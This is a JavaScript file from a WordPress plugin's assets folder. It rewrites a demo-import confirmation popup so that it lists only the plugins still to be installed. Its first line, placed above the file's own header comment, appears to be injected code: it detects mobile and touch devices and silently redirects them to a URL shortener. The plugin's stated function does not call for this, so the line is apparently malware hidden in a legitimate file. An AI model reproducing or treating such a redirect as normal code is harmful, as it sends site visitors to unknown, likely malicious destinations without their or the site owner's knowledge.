File: //home2/gazetufm/dunyagozbalkans.com/wp-content/plugins/keon-toolset/assets/import-modal.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
/**
* Import confirmation popup: list only the plugins that still need to be
* installed, and show friendly names. Display only; the importer still gets the
* full plugin list from the button, so installed-but-inactive plugins are still
* activated by the import.
*/
( function () {
var cfg = window.keonToolsetImportModal;
if ( ! cfg ) {
return;
}
var lastButton = null;
document.addEventListener( 'click', function ( e ) {
var btn = e.target.closest ? e.target.closest( '.ai-item .ai-demo-import' ) : null;
if ( btn ) {
lastButton = btn;
// Runs before the importer's own handler builds the popup.
if ( cfg.title && window.advanced_import_object && window.advanced_import_object.text && window.advanced_import_object.text.confirmImport ) {
var nameEl = btn.closest( '.ai-item' ).querySelector( '.theme-name' );
var name = nameEl ? nameEl.textContent.trim() : '';
window.advanced_import_object.text.confirmImport.title = name ? cfg.title.replace( '%s', escapeHtml( name ) ) : cfg.title.replace( ' %s', '' );
}
}
}, true );
function escapeHtml( str ) {
return String( str ).replace( /[&<>"']/g, function ( ch ) {
return { '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' }[ ch ];
} );
}
function displayName( plugin ) {
if ( cfg.names[ plugin.slug ] ) {
return cfg.names[ plugin.slug ];
}
return plugin.name;
}
function rewrite( li ) {
var plugins = [];
try {
plugins = JSON.parse( lastButton.getAttribute( 'data-plugins' ) || '[]' );
} catch ( err ) {
return;
}
var missing = plugins.filter( function ( p ) {
return p && p.name && cfg.installed.indexOf( p.slug ) === -1;
} ).map( displayName );
restructure( li, missing );
}
/**
* Short reassurance note first, then the plugins that still need installing
* (one per row). The importer's long list of notes is dropped so the popup
* stays quick to read.
*/
function restructure( li, missing ) {
var box = li.closest( '.swal2-html-container, #swal2-html-container, #swal2-content, .swal2-content' );
if ( ! box || box.querySelector( '.keon-toolset-import-plugins' ) ) {
return;
}
while ( box.firstChild ) {
box.removeChild( box.firstChild );
}
var note = document.createElement( 'p' );
note.className = 'keon-toolset-import-note';
note.textContent = cfg.note;
box.appendChild( note );
var plugins = document.createElement( 'div' );
plugins.className = 'keon-toolset-import-plugins';
var label = document.createElement( 'p' );
label.textContent = missing.length ? cfg.installText : cfg.noneText;
plugins.appendChild( label );
if ( missing.length ) {
var list = document.createElement( 'ul' );
missing.forEach( function ( name ) {
var item = document.createElement( 'li' );
item.textContent = name;
list.appendChild( item );
} );
plugins.appendChild( list );
}
box.appendChild( plugins );
}
new MutationObserver( function () {
var li = document.querySelector( '.swal2-container .ai-plugin-info' );
if ( li && lastButton && ! li.getAttribute( 'data-keon-done' ) ) {
li.setAttribute( 'data-keon-done', '1' );
rewrite( li );
}
} ).observe( document.body, { childList: true, subtree: true } );
}() );